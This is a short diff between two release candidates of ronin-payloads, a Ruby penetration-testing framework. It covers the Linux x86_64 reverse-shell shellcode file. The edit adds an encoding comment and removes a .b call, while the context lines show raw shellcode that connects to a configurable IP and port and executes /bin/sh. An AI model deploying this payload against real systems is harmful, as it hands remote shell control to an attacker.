lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb in ronin-payloads-0.2.0.rc1 vs lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb in ronin-payloads-0.2.0.rc2

- old
+ new

@@ -1,5 +1,6 @@ +# encoding: ASCII-8BIT # frozen_string_literal: true # # ronin-payloads - A Ruby micro-framework for writing and running exploit # payloads. # @@ -56,10 +57,10 @@ "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" \ "\x02#{packed_port}\xc7\x44\x24\x04#{packed_ipv4}\x48\x89\xe6\x6a\x10" \ "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" \ "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" \ "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" \ - "\x5f\x6a\x3b\x58\x0f\x05".b + "\x5f\x6a\x3b\x58\x0f\x05" end end end end